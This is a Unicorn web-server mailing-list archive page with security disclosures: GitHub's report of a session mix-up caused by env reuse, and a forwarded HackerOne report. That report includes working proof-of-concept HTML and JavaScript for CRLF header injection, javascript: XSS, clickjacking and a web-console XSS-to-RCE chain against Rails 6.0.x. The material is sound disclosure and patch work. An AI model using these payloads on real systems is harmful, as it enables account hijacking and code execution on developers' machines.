> >> While we understand and appreciate that Unicorn is not a multi-threaded web
> >> server, it feels like using the same `Hash` object between requests
> >> introduces the chance that a dependency like an external gem may use threads
> >> and thus potentially leak information between requests.
> >
> > Yes, there's likely problems in trying to use threads with a
> > codebase that was only intended to be single-threaded. And
> > using Thread.current[...] here wouldn't have made a. difference.
>
> For us it was also the difference between “requests are handled single threaded”
> vs “you can’t use threads for anything else either.” We were totally aware of the
> first, but the latter seems more accidental and has a much broader impact.
Agreed.
> > I worry some endpoints out there will suffer performance
> > degradation. Expensive endpoints probably won't notice,
> > but maybe the fastest ones will...
>
> That is a good point, but I think in practice most users do enough in most
> requests that the trade off is totally worth it. At least for us it definitely
> is. Maybe it would be an option to make the sharing somehow opt-in instead of
> default behavior? So that by default the safe behavior is used, but for those
> that want to, they can opt into the sharing if they know their app is safe
> enough to work with that.
I'm not in favor of new options since they add support costs
and increase the learning/maintenance curve.
What I've been thinking about is bumping the major version to 6.0
Although our internals are technically not supported stable API,
there may be odd stuff out there similar to OobGC that uses
instance_variable_get or similar things to reach into internals.
Added with the fact our internals haven't changed in many years;
I'm inclined to believe there are other OobGC-like things out
there that can break.
Also, with 6.0; users who completely avoid Threads can keep
using 5.x, while others can use 6.x
> >> For the sake of transparency to our users, we plan on publishing a public
> >> post next week on how this was part of the larger series of bugs that had a
> >> security impact at GitHub. We've also attached a suggested patch that removes
> >> the environment sharing, which is what we're running right now to reduce the
> >> risk of this ever happening again.
> >
> > Did you measure performance degradations in any endpoints you have?
>
> We did measure and there were zero noticeable performance degradations. That’s
> also because all our requests do a bunch of work and are not direct Rack apps,
> and use stuff like Rails or Sinatra. Those all usually wrap the `env` hash
> anyway with their own per request object and there’s a lot of other allocations
> happening anyway.
>
> In microbenchmarks we could see a difference, but even there, at least for us,
> we’d gladly pay the performance price for the safety if we’d have any endpoints
> where it would be measurable.
OK. Fwiw, there's still some stones left unturned that could
recover the lost speed if somebody _really_ cares for it(*)
(*) String#clear on response header buffer, swapping Ragel
for a faster HTTP parser, ...
> All in all, I think here that a safe default would be helpful for users, as
> mentioned earlier, and that maybe for those cases where the latest performance
> bit matters, the existing behavior could be opted into. Whether this option is
> worth it from a maintenance standpoint is something you’re better able to answer
> than we are though.
It's probably OK and I'm inclined to accept your patch for 6.0.
At this point, I'm more worried about potential breakage of some
3rd-party OobGC-like thing that reaches deep into our internals.
Btw, did you consider replacing the @request HttpRequest object
entirely instead of the env and buf elements?
I suppose that's more allocations, still; but could've
been a smaller change.
> > I'll see about finding a less-noisy/overloaded system to run
> > benchmarks against...
> >
> > I noticed some of the OobGC tests in t/ were failing (patch below),
> > but few users use the that version of OobGC.
>
> I wasn’t easily able to run the entire suite, but only parts of it which is why
> I didn’t have a complete fix there. I can add this to the patch then.
Oops, was that the integration tests in t/* ?
They can run separately via "make test-integration"
(I never trusted some Ruby behaviors to remain stable,
so I started writing tests in Bourne shell).
<snip> I have nothing to add to the rest of the mail
unicorn-public readers: see attachments
[-- Attachment #2: 0001-potential-unicorn-vulnerability.eml --]
[-- Type: message/rfc822, Size: 12105 bytes --]
[-- Attachment #2.1.1: Type: text/plain, Size: 2813 bytes --]
Hello Eric,
We're reaching out privately first on what we think could be classified as a
security issue in Unicorn. Since there may be other similarly impacted users,
this is out of an abundance of caution before sending it to the public
Unicorn mailing list.
The issue at hand is that the environment sharing and reuse between requests
in Unicorn, combined with other non thread safe code, resulted in a security
vulnerability where a very small number of user sessions tracked through
cookies got misrouted. For this reason, we logged everyone out of GitHub, see
also https://github.blog/2021-03-08-github-security-update-a-bug-related-to-handling-of-authenticated-sessions/.
The unsafe background thread code we had ended up triggering an exception at
rare times and the exception tracking logic was using a deferred block
executed through a Ruby Proc to gather information, including things from the
request at the time the logic started.
That thread captured something from the cookie jar among other things, and
the following code in Rack memoized that into the (shared) environment.
From https://github.com/rack/rack/blob/2.1.4/lib/rack/request.rb#L219-L229
def cookies
hash = fetch_header(RACK_REQUEST_COOKIE_HASH) do |k|
set_header(k, {})
end
string = get_header HTTP_COOKIE
return hash if string == get_header(RACK_REQUEST_COOKIE_STRING)
hash.replace Utils.parse_cookies_header string
set_header(RACK_REQUEST_COOKIE_STRING, string)
hash
end
Because of the environment sharing, the memoization ended up overriding what
would be memoized (with the RACK_REQUEST_COOKIE_STRING key) for the new
request and because a specific session cookie was bumped then with a new
timeout on each request, the wrong session cookie was serialized.
While we understand and appreciate that Unicorn is not a multi-threaded web
server, it feels like using the same `Hash` object between requests
introduces the chance that a dependency like an external gem may use threads
and thus potentially leak information between requests.
For the sake of transparency to our users, we plan on publishing a public
post next week on how this was part of the larger series of bugs that had a
security impact at GitHub. We've also attached a suggested patch that removes
the environment sharing, which is what we're running right now to reduce the
risk of this ever happening again.
We hope you're open to collaborating on a fix prior to any public detailed
disclosure of how this request environment sharing could lead to security
issues, if you feel that is desired.
I’ve added John & Kevin here on the CC since they’ve also worked on this and
that way we have some better timezone spread on our side if needed.
Cheers,
Dirkjan Bussink
[-- Attachment #2.1.2: 0001-Drop-reuse-of-Ruby-level-objects.patch --]
[-- Type: application/octet-stream, Size: 4067 bytes --]
From 44aa6b056e1b24d42ab3efba738b38f4cd54a068 Mon Sep 17 00:00:00 2001
From: Dirkjan Bussink <d.bussink@gmail.com>
Date: Mon, 8 Mar 2021 09:51:09 +0100
Subject: [PATCH] Drop reuse of Ruby level objects
Remove the reuse of environment and the buffer as Ruby level objects.
Reusing these is very risky in the context of running any other threads
within the unicorn process, also for threads that run background tasks.
This lead to a significant security incident where the problems would
not have happened if there was no reuse of the `env` object. From a
safety perspective, this also removes reuse of the buffer object as it's
also a Ruby object and could be grabbed and retained outside of the http
parsing logic.
The downside here is that we allocate two extra objects on each request,
but that is worth the trade off here and the security risk we otherwise
would carry to leaking wrong and incorrect data.
---
ext/unicorn_http/extconf.rb | 1 -
ext/unicorn_http/unicorn_http.rl | 30 +++---------------------------
test/unit/test_http_parser.rb | 3 +++
3 files changed, 6 insertions(+), 28 deletions(-)
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 95514bc..7e4775c 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -10,7 +10,6 @@
have_macro("SIZEOF_SIZE_T", "ruby.h") or check_sizeof("size_t", "sys/types.h")
have_macro("SIZEOF_LONG", "ruby.h") or check_sizeof("long", "sys/types.h")
have_func("rb_str_set_len", "ruby.h") or abort 'Ruby 1.9.3+ required'
-have_func("rb_hash_clear", "ruby.h") # Ruby 2.0+
have_func("gmtime_r", "time.h")
message('checking if String#-@ (str_uminus) dedupes... ')
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 21e09d6..9904d85 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -65,18 +65,6 @@ struct http_parser {
static ID id_set_backtrace, id_is_chunked_p;
static VALUE cHttpParser;
-#ifdef HAVE_RB_HASH_CLEAR /* Ruby >= 2.0 */
-# define my_hash_clear(h) (void)rb_hash_clear(h)
-#else /* !HAVE_RB_HASH_CLEAR - Ruby <= 1.9.3 */
-
-static ID id_clear;
-
-static void my_hash_clear(VALUE h)
-{
- rb_funcall(h, id_clear, 0);
-}
-#endif /* HAVE_RB_HASH_CLEAR */
-
static void finalize_header(struct http_parser *hp);
static void parser_raise(VALUE klass, const char *msg)
@@ -445,6 +433,8 @@ static void http_parser_init(struct http_parser *hp)
hp->cont = Qfalse; /* zero on MRI, should be optimized away by above */
%% write init;
hp->cs = cs;
+ hp->buf = rb_str_new(NULL, 0);
+ hp->env = rb_hash_new();
}
/** exec **/
@@ -628,8 +618,6 @@ static VALUE HttpParser_init(VALUE self)
struct http_parser *hp = data_get(self);
http_parser_init(hp);
- hp->buf = rb_str_new(NULL, 0);
- hp->env = rb_hash_new();
return self;
}
@@ -643,16 +631,7 @@ static VALUE HttpParser_init(VALUE self)
*/
static VALUE HttpParser_clear(VALUE self)
{
- struct http_parser *hp = data_get(self);
-
- /* we can't safely reuse .buf and .env if hijacked */
- if (HP_FL_TEST(hp, HIJACK))
- return HttpParser_init(self);
-
- http_parser_init(hp);
- my_hash_clear(hp->env);
-
- return self;
+ return HttpParser_init(self);
}
static void advance_str(VALUE str, off_t nr)
@@ -1025,9 +1004,6 @@ void Init_unicorn_http(void)
id_set_backtrace = rb_intern("set_backtrace");
init_unicorn_httpdate();
-#ifndef HAVE_RB_HASH_CLEAR
- id_clear = rb_intern("clear");
-#endif
id_is_chunked_p = rb_intern("is_chunked?");
}
#undef SET_GLOBAL
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 697af44..d3f9ae7 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -33,6 +33,9 @@ def test_parse_simple
parser.clear
req.clear
+ req = parser.env
+ http = parser.buf
+
http << "G"
assert_nil parser.parse
assert_equal "G", http
--
2.30.1
[-- Attachment #3: 0002-re-potential-unicorn-vulnerability.eml --]
[-- Type: message/rfc822, Size: 5635 bytes --]
From: Eric Wong <normalperson@yhbt.net>
To: Dirkjan Bussink <dbussink@github.com>
Cc: John Crepezzi <seejohnrun@github.com>, Kevin Sawicki <kevinsawicki@github.com>
Subject: Re: Potential Unicorn vulnerability
Date: Thu, 11 Mar 2021 03:02:50 +0000
Message-ID: <20210311030250.GA1266@dcvr>
Dirkjan Bussink <dbussink@github.com> wrote:
> Hello Eric,
>
> We're reaching out privately first on what we think could be classified as a
> security issue in Unicorn. Since there may be other similarly impacted users,
> this is out of an abundance of caution before sending it to the public
> Unicorn mailing list.
Thanks for reaching out. Fwiw, I prefer if everything were made
public right away, but I'll leave it up to you if you're not
comfortable with it.
I don't know much about security, anwyays; and don't like
classifying bugs (or classifying anything)...
<snip>
> That thread captured something from the cookie jar among other things, and
> the following code in Rack memoized that into the (shared) environment.
Ouch, so the hijack check we had in HttpParser_clear didn't fire...
<snip>
> While we understand and appreciate that Unicorn is not a multi-threaded web
> server, it feels like using the same `Hash` object between requests
> introduces the chance that a dependency like an external gem may use threads
> and thus potentially leak information between requests.
Yes, there's likely problems in trying to use threads with a
codebase that was only intended to be single-threaded. And
using Thread.current[...] here wouldn't have made a. difference.
I worry some endpoints out there will suffer performance
degradation. Expensive endpoints probably won't notice,
but maybe the fastest ones will...
`buf' is particularly worrying to me since it's a 16384-byte
allocation for a socket read on headers that could amount
to lots of GC pressure and hurt locality all around.
env['rack.input'] may also hold onto `buf', too, since
input is lazily-consumed (though it may be possible to
workaround that...).
Losing `env' is probably less worrying since keys are all
fstrings in modern Rubies. Though losing the backing store (and
not having rb_hash_new_with_size in the C API) would mean more
rehashing with many headers.
The simple Rack apps I worked on back in-the-day which
benefitted from these object-reuse optimizations are unlikely to
be upgraded to newer versions of unicorn. Of course, there
may be other similar Rack apps out there that depend on these...
> For the sake of transparency to our users, we plan on publishing a public
> post next week on how this was part of the larger series of bugs that had a
> security impact at GitHub. We've also attached a suggested patch that removes
> the environment sharing, which is what we're running right now to reduce the
> risk of this ever happening again.
Did you measure performance degradations in any endpoints you have?
I'll see about finding a less-noisy/overloaded system to run
benchmarks against...
I noticed some of the OobGC tests in t/ were failing (patch below),
but few users use the that version of OobGC.
Also, t/t0200-rack-hijack.sh would go away.
> We hope you're open to collaborating on a fix prior to any public detailed
> disclosure of how this request environment sharing could lead to security
> issues, if you feel that is desired.
Sure, as long as everything is done via plain-text email so
I won't need working graphics drivers or modern hardware :>
Along the same lines, would you be OK with this entire mail thread
(including all mail headers) being eventually published in the
public mailbox at http://ou63pmih66umazou.onion/unicorn-public/
and https://yhbt.net/unicorn-public/ ?
> I’ve added John & Kevin here on the CC since they’ve also worked on this and
> that way we have some better timezone spread on our side if needed.
OK, I'm around/awake at pretty random times.
Aforementioned OomGC change:
-------8<-------
diff --git a/lib/unicorn/oob_gc.rb b/lib/unicorn/oob_gc.rb
index 3b2f488..91a8e51 100644
--- a/lib/unicorn/oob_gc.rb
+++ b/lib/unicorn/oob_gc.rb
@@ -60,7 +60,6 @@ def self.new(app, interval = 5, path = %r{\A/})
self.const_set :OOBGC_INTERVAL, interval
ObjectSpace.each_object(Unicorn::HttpServer) do |s|
s.extend(self)
- self.const_set :OOBGC_ENV, s.instance_variable_get(:@request).env
end
app # pretend to be Rack middleware since it was in the past
end
@@ -68,9 +67,10 @@ def self.new(app, interval = 5, path = %r{\A/})
#:stopdoc:
def process_client(client)
super(client) # Unicorn::HttpServer#process_client
- if OOBGC_PATH =~ OOBGC_ENV['PATH_INFO'] && ((@@nr -= 1) <= 0)
+ env = instance_variable_get(:@request).env
+ if OOBGC_PATH =~ env['PATH_INFO'] && ((@@nr -= 1) <= 0)
@@nr = OOBGC_INTERVAL
- OOBGC_ENV.clear
+ env.clear
disabled = GC.enable
GC.start
GC.disable if disabled
^ permalink raw reply related [relevance 4%]
* Re: [RFC] http_response: ignore invalid header response characters
@ 2021-01-13 23:20 1% ` Sam Sanoop
0 siblings, 0 replies; 200+ results
From: Sam Sanoop @ 2021-01-13 23:20 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Hi, The researcher didn’t test it with Ngnix, his configuration
according to the report was
server: unicorn (<= latest)
Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
But reading http://blog.volema.com/nginx-insecurities.html, CRLF can
be allowed if a user is using $uri variables within their NGINX
config. So conditions within NGNIX would need to be met.
Regarding the hackerone report, here is a txt version of the report:
ooooooo_q-----------------
Hello,
I was looking at the change log
(https://github.com/rails/rails/commit/2121b9d20b60ed503aa041ef7b926d331ed79fc2)
for CVE-2020-8185 and found another problem existed.
https://github.com/rails/rails/blob/v6.0.3.1/actionpack/lib/action_dispatch/middleware/actionable_exceptions.rb#L21
redirect_to request.params[:location]
end
private
def actionable_request?(request)
request.show_exceptions? && request.post? && request.path == endpoint
end
def redirect_to(location)
body = "<html><body>You are being <a
href=\"#{ERB::Util.unwrapped_html_escape(location)}\">redirected</a>.</body></html>"
[302, {
"Content-Type" => "text/html; charset=#{Response.default_charset}",
"Content-Length" => body.bytesize.to_s,
"Location" => location,
}, [body]]
end
There was an open redirect issue because the request parameter
location was not validated.
In 6.0.3.2, since the condition of actionable_request? has changed,
this problem is less likely to occur.
PoC
1. Prepare server
Prepare an attackable 6.0.3.1 version of Rails server
❯ rails -v
Rails 6.0.3.1
❯ RAILS_ENV=production rails s
...
* Environment: production
* Listening on tcp://0.0.0.0:3000
2. Attack server
Prepare the server for attack on another port.
<form method="post"
action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=https://www.hackerone.com/">
<button type="submit">click!</button>
</form>
python3 -m http.server 8000
3. Open browser
Open the http://localhost:8000/attack.html url in your browser and
click the button.
Redirect to https://www.hackerone.com/ url.
Impact
It will be fixed with 6.0.3.2 as with
CVE-2020-8185(https://groups.google.com/g/rubyonrails-security/c/pAe9EV8gbM0),
but I think it is necessary to announce it again because the range of
influence is different.
This open redirect changes from POST method to Get Method, so it may
be difficult to use for phishing.On the other hand, it may affect
bypass of referrer check or SSRF.
ooooooo_q------
I thought about it after submitting the report, but even in 6.0.3.2,
/rails/actions is available in developer mode.
If it was started in development mode, the request will be accepted by
CSRF, so the same as CVE-2020-8185 still exists.
I think it's better to take CSRF measures in /rails/actions.
Vulnerabilities, versions and modes
6.0.3.1 (production, development)
run pending migrations (CVE-2020-8185)
open redirect
6.0.3.2 (development)
run pending migrations (by CSRF)
open redirect (by CSRF)
6.0.3.2 (production)
no problem
tenderloveRuby on Rails staff -------
This seems like a good improvement, but I don't think we need to treat
it as a security issue. If you agree, would you mind filing an issue
on the Rails GitHub issues?
Thank you!
ooooooo_q------
@tenderlove
I'm sorry to reply late.
While researching unicorn, I found this report to lead to other vulnerabilities.
Open Redirect to HTTP header injection
Response header injection vulnerability exists in versions of puma below 4.3.2.
https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v
I have confirmed that unicorn is also enable of response header injection.
HTTP header injection is possible by including \r in the redirect URL
using these.
PoC
> escape("\rSet-cookie:a=a")
"%0DSet-cookie%3Aa%3Da"
This is the html used on the attack server.
<form method="post"
action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0DSet-cookie%3Aa%3Da">
<button type="submit">set cookie</button>
</form>
When click this button, the response header will be as follows.
Location:
Set-cookie: a=a
If you open the developer tools in your browser, you'll see that the
cookie value is set.
When I tried it, puma and unicorn can insert only the character of \r,
and it seems that \n cannot be inserted.
Therefore, it seems that response body injection that leads to XSS
cannot be performed.
On the other hand, in passenger, it became an error when \r was in the
value of the header.
XSS trick
While trying out \r on the response header, I noticed a strange thing.
If \r is at the beginning, it means that the browser is not redirected
and javascript: can be used in the URL of the response link.
When specify \rjavascript:alert(location) as the redirect destination,
the HTML of the response will be as follows.
<html><body>You are being <a href="
javascript:alert(location)">redirected</a>.</body></html>
The \r character is ignored in html, so javascript:alert(location) is
executed when the user clicks the link.
This is a separate issue from HTTP header injection and depends on how
the server handles the value of \r.
In puma and unicorn below 4.3.2, \r is used for HTTP header injection,
so no error occurs.
With puma 4.3.3 or later, if there is a line containing \r, it does
not become an error and it can be executed because that line is
excluded.
On the other hand, the error occurred in passenger.
As a further issue, the headers in this response are
middleware-specific and therefore do not include the security headers
Rails is outputting.
Since X-Frame-Options is not included, click jacking is possible.
No output even if CSP is set in the application.
By using click jacking in combination with these, it is easy to
generate XSS that requires user click.
PoC
Inserting the execution code from another site using the name of the iframe.
This PoC will also run in production mode if 6.0.0 < rails < 6.0.3.2.
It can be run with the latest puma and unicorn.
If it is development mode, it can be executed even after 6.0.3.2
child.html
<form method="post"
action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aeval%28name%29">
<button type="submit">location is escape("\rjavascript:eval(name)")</button>
</form>
<script type="text/javascript">
document.querySelector("button").click();
</script>
click_jacking.html
<html>
<style>
iframe{
position: absolute;
z-index: 1;
opacity: 0.3;
}
div{
position: absolute;
top: 20px;
left: 130px;
}
button {
width: 80px;
height: 26px;
cursor: pointer;
}
</style>
<body>
<iframe src=./child.html name="alert(location)" height=40></iframe>
<div>
<button>click!!</button>
</div>
</body>
</html>
XSS to RCE
When XSS exists in development mode, I confirmed that calling the
method of web-cosole leads to RCE.
RCE is possible by inducing users who are developing Rails
applications to click on the trap site.
PoC
var iframe = document.createElement("iframe");
iframe.src = "/not_found";
document.body.appendChild(iframe);
setTimeout(()=>fetch("/__web_console/repl_sessions/" +
iframe.contentDocument.querySelector("#console").dataset.sessionId, {
method: "PUT",
headers: {
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest"
},
body: JSON.stringify({
input: "`touch from_web_console`"
})
}), 2000)
<iframe src=./child.html name='var iframe =
document.createElement("iframe");iframe.src =
"/not_found";document.body.appendChild(iframe);setTimeout(()=>
fetch("/__web_console/repl_sessions/"+iframe.contentDocument.querySelector("#console").dataset.sessionId,
{method: "PUT",headers: {"Content-Type":
"application/json","X-Requested-With": "XMLHttpRequest"},body:
JSON.stringify({input: "`touch from_web_console`"})}),2000)'/>
When this is run, a file from from_web_console will be generated.
Vulnerabilities and conditions
Run pending migrations (CVE-2020-8185)
server: any
Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
Run pending migrations by CSRF
server: any
Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development
Open redirect (from POST method)
server: any
Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
or
Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development
HTTP header injection
server: unicorn (<= latest) or puma (< 4.3.2)
Rails version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
or
Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development
XSS (need user click)
server: unicorn (<= latest) or puma (<= latest)
Railse version: 6.0.0 < rails < 6.0.3.2
RAILS_ENV: production
or
Railse version: 6.0.0 < (not fixed)
RAILS_ENV: development
RCE (from XSS)
server: unicorn (<= latest) or puma (<= latest)
Railse version: 6.0.0 < (not fixed)
RAILS_ENV: development
ooooooo_q------
When I tried it, puma and unicorn can insert only the character of \r,
and it seems that \n cannot be inserted.
Makes sense. This seems like a security vulnerability in Puma / Unicorn.
This is a separate issue from HTTP header injection and depends on how
the server handles the value of \r.
I'm not sure exactly which servers are vulnerable (this is too
confusing for me 😔), but whatever handles generating the response
page shouldn't allow \r at the beginning of the href like that.
So this needs to check that location is a url (http or https).
I don't think we need to set the security policy for the redirect page
if we prevent the javascript: location from the href.
How does this patch look?
On Wed, Jan 6, 2021 at 5:53 PM Eric Wong <bofh@yhbt.net> wrote:
>
> Sam Sanoop <sams@snyk.io> wrote:
> > Hi Eric,
>
> cf. https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
> (private followup <CAEQPCYJJdriMQyDNXimCS_kBrc_=DxhxJ66YdJmCe7ZXr-Zbvg@mail.gmail.com>)
>
> Hi Sam, I'm moving this to the public list. Please keep
> unicorn-public@yhbt.net Cc-ed (no need to quote, archives are
> public and mirrored to several places).
>
> > I wanted to bring this up again. I spoke with the researcher
> > (@ooooooo_q) who disclosed this issue to us. He released the full
> > details including the HackerOne report pubclily which provided more
> > clarity about this issue. That can be read here:
> > https://hackerone.com/reports/904059#activity-8945588
>
> Note: I can't read anything on hackerone due to the JavaScript
> requirement. If somebody can copy the text here, that'd be
> great.
>
> > That report was initially disclosed to the Ruby on Rails maintainers.
> > In certain conditions, he was also able to leverage Puma and Unicorn
> > to exploit the issues mentioned on the report. The issues which
> > related to Unicorn were:
> >
> > * Open Redirect to HTTP header injection - (including \r in the redirect URL)
> > * A user interaction XSS - Which leverages
> > \rjavascript:alert(location) as the redirect destination
>
> Does this happen when unicorn is behind nginx?
>
> unicorn was always designed to run behind nginx and falls over badly
> without it (trivially DoS-ed via slowloris)
>
> > Reading that advisory, I see this more of an issue now. He has
> > leveraged Unicorn and Puma along with Rails to demonstrate some of the
> > proof of concepts. Under the section Vulnerabilities and conditions of
> > the report, he has specified different conditions and configurations
> > which allow for this vector.
> >
> > I agree with Aaron Patterson's (Rails Staff) decision on that report,
> > this should be fixed in Unicorn and Puma directly, and Puma has
> > already fixed this and issued an advisory:
> > https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v.
> >
> > I believe there is enough of a risk to fix this issue. What do you think?
>
> While we follow puma on some things (as in recent non-rack
> features), I'm not sure if this affects unicorn the same way it
> affects puma and other servers (that are supported without nginx).
>
> Fwiw, I've been against client-side JavaScript for a decade, now.
> Libre license or not; the complexity of JS gives us a never-ending
> stream of vulnerabilities, wasted RAM, CPU cycles, and bandwidth
> use from constant software updates needed to continue the game of
> whack-a-mole.
>
> rest of thread below (top-posting corrected):
>
> > > On Sun, Jan 3, 2021 at 10:20 PM Eric Wong <bofh@yhbt.net> wrote:
> > > >
> > > > Sam Sanoop <sams@snyk.io> wrote:
> > > > > Hey Eric,
> > > > >
> > > > > Happy New Year. I want to follow up on the [RFC] http_response: ignore
> > > > > invalid header response character RFC for the CRLF injection we spoke
> > > > > about previously. I wanted to know what would be the timeline for your
> > > > > patch to get merged and what additional steps there are before that
> > > > > can happen.
> > > >
> > > > Hi Sam, honestly I have no idea if it's even necessary...
> > > > I've had no feedback since 2020-11-26:
> > > > https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
> > > >
> > > > Meanwhile 5.8.0 was released 2020-12-24 with a feature somebody
> > > > actually cared about.
> > > >
> > > > Again, unicorn falls over without nginx in front of it anyways,
> > > > so maybe nginx already guards against this and extra code is
> > > > unnecessary on my end.
> >
> > On Sun, Jan 3, 2021 at 11:03 PM Sam Sanoop <sams@snyk.io> wrote:
> > >
> > > Hey Eric,
> > >
> > > No problem, I understand. Since the injection here is happening within
> > > the response, I am not convinced if this is exploitable as well. I
> > > have let the reporter of this issue know what your stance is. I
> > > mentioned if he can provide a better Proof of Concept where this is
> > > exploitable in the context of a http request, and look into this a bit
> > > further, we can open up discussion again, or else, this is not worth
> > > fixing.
--
Sam Sanoop
Security Analyst
^ permalink raw reply [relevance 1%]
* [PATCH] Add rack.after_reply functionality
@ 2020-12-08 21:47 13% Blake Williams
0 siblings, 0 replies; 200+ results
From: Blake Williams @ 2020-12-08 21:47 UTC (permalink / raw)
To: unicorn-public
This adds `rack.after_reply` functionality which allows rack middleware
to pass lambdas that will be executed after the client connection has
been closed.
This was driven by a need to perform actions in a request that shouldn't
block the request from completing but also don't make sense as
background jobs.
There is prior art of this being supported found in a few gems, as well
as this functionality existing in other rack based servers.
---
lib/unicorn/http_server.rb | 4 ++++
test/unit/test_server.rb | 44 ++++++++++++++++++++++++++++++++++++++
2 files changed, 48 insertions(+)
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 05dad99..9889f55 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -629,6 +629,8 @@ def process_client(client)
end
end
+ env["rack.after_reply"] = []
+
status, headers, body = @app.call(env)
begin
@@ -651,6 +653,8 @@ def process_client(client)
end
rescue => e
handle_error(client, e)
+ ensure
+ env["rack.after_reply"].each { |after_reply| after_reply.call }
end
def nuke_listeners!(readers)
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 384fa6b..781750d 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -34,6 +34,24 @@ def call(env)
end
end
+class TestRackAfterReply
+ def initialize
+ @called = false
+ end
+
+ def call(env)
+ while env['rack.input'].read(4096)
+ end
+
+ env["rack.after_reply"] << -> { @called = true }
+
+ [200, { 'Content-Type' => 'text/plain' }, ["after_reply_called: #{@called}"]]
+ rescue Unicorn::ClientShutdown, Unicorn::HttpParserError => e
+ $stderr.syswrite("#{e.class}: #{e.message} #{e.backtrace.empty?}\n")
+ raise e
+ end
+end
+
class WebServerTest < Test::Unit::TestCase
def setup
@@ -114,6 +132,32 @@ def test_early_hints
assert_match %r{^HTTP/1.[01] 200\b}, responses
end
+ def test_after_reply
+ teardown
+
+ redirect_test_io do
+ @server = HttpServer.new(TestRackAfterReply.new,
+ :listeners => [ "127.0.0.1:#@port"])
+ @server.start
+ end
+
+ sock = TCPSocket.new('127.0.0.1', @port)
+ sock.syswrite("GET / HTTP/1.0\r\n\r\n")
+
+ responses = sock.read(4096)
+ assert_match %r{\AHTTP/1.[01] 200\b}, responses
+ assert_match %r{^after_reply_called: false}, responses
+
+ sock = TCPSocket.new('127.0.0.1', @port)
+ sock.syswrite("GET / HTTP/1.0\r\n\r\n")
+
+ responses = sock.read(4096)
+ assert_match %r{\AHTTP/1.[01] 200\b}, responses
+ assert_match %r{^after_reply_called: true}, responses
+
+ sock.close
+ end
+
def test_broken_app
teardown
app = lambda { |env| raise RuntimeError, "hello" }
--
2.29.2
^ permalink raw reply related [relevance 13%]
* [RFC] http_response: ignore invalid header response characters
@ 2020-11-26 11:59 6% Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2020-11-26 11:59 UTC (permalink / raw)
To: unicorn-public; +Cc: Sam Sanoop
I don't really like nanny features, and seems like one.
Neither Sam Sanoop nor I think it's is a big deal; and
I'm not sure if it's worth the extra complexity...
(not that I have any code which is affected by this)
So it's an RFC for now and plain-text comments appreciated,
here, thanks.
----------8<---------
Subject: [RFC] http_response: ignore invalid header response characters
Rack applications may blindly pass headers from untrusted
sources, leading to response header injection. Silently filter
out some invalid characters which Rack::Lint should've caught,
anyways.
Additional checks will increase CPU usage for all and may be
redundant for some users, so perhaps it's not worth penalizing
all users for the few apps that blindly pass headers through.
Also, the %r{[\(\),\/:;<=>\?@\[\\\]{}[:cntrl:]]} key check may
be overkill, since %r{\r\n} are all that are needed for the key.
Similarly, the /[\x00-\x09]/ && /[\x0b-\x1f]/ value check may
also be overkill, since \x0d (\r) is all that's needed for the
header value.
cf. https://medium.com/cyberverse/crlf-injection-playbook-472c67f1cb46
Reported-by: Twitter user: @ooooooo_q (via Sam Sanoop)
Reported-by: Sam Sanoop <sams@snyk.io>
Note: As a Free Software project, we cannot endorse proprietary
messaging systems and thus have no way of communicating with
those who rely on them.
---
lib/unicorn/http_response.rb | 10 +++++++---
test/unit/test_response.rb | 12 ++++++++++++
2 files changed, 19 insertions(+), 3 deletions(-)
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index b23e521..2585385 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -33,14 +33,18 @@ def http_response_write(socket, status, headers, body,
"Connection: close\r\n"
headers.each do |key, value|
case key
- when %r{\A(?:Date|Connection)\z}i
- next
+ when %r{\A(?:Date|Connection)\z}i,
+ %r{[\(\),\/:;<=>\?@\[\\\]{}[:cntrl:]]} # cf. rack/lint.rb
+ # ignore headers we don't like
when "rack.hijack"
# This should only be hit under Rack >= 1.5, as this was an illegal
# key in Rack < 1.5
hijack = value
else
- if value =~ /\n/
+ case value
+ when /[\x00-\x09]/, /[\x0b-\x1f]/
+ # invalid values are noop
+ when /\n/ # rack allows "\n"
# avoiding blank, key-only cookies with /\n+/
value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
else
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index fbe433f..a3a6deb 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -42,6 +42,18 @@ def test_response_header_broken_nil
assert_match %r{^Nil: \r\n}sm, out.string, 'nil accepted'
end
+ def test_bad_val
+ out = StringIO.new
+ http_response_write(out, 200, {'R' => "\r"}, %w(x))
+ assert_not_match %r{^R: \r\r\n}s, out.string
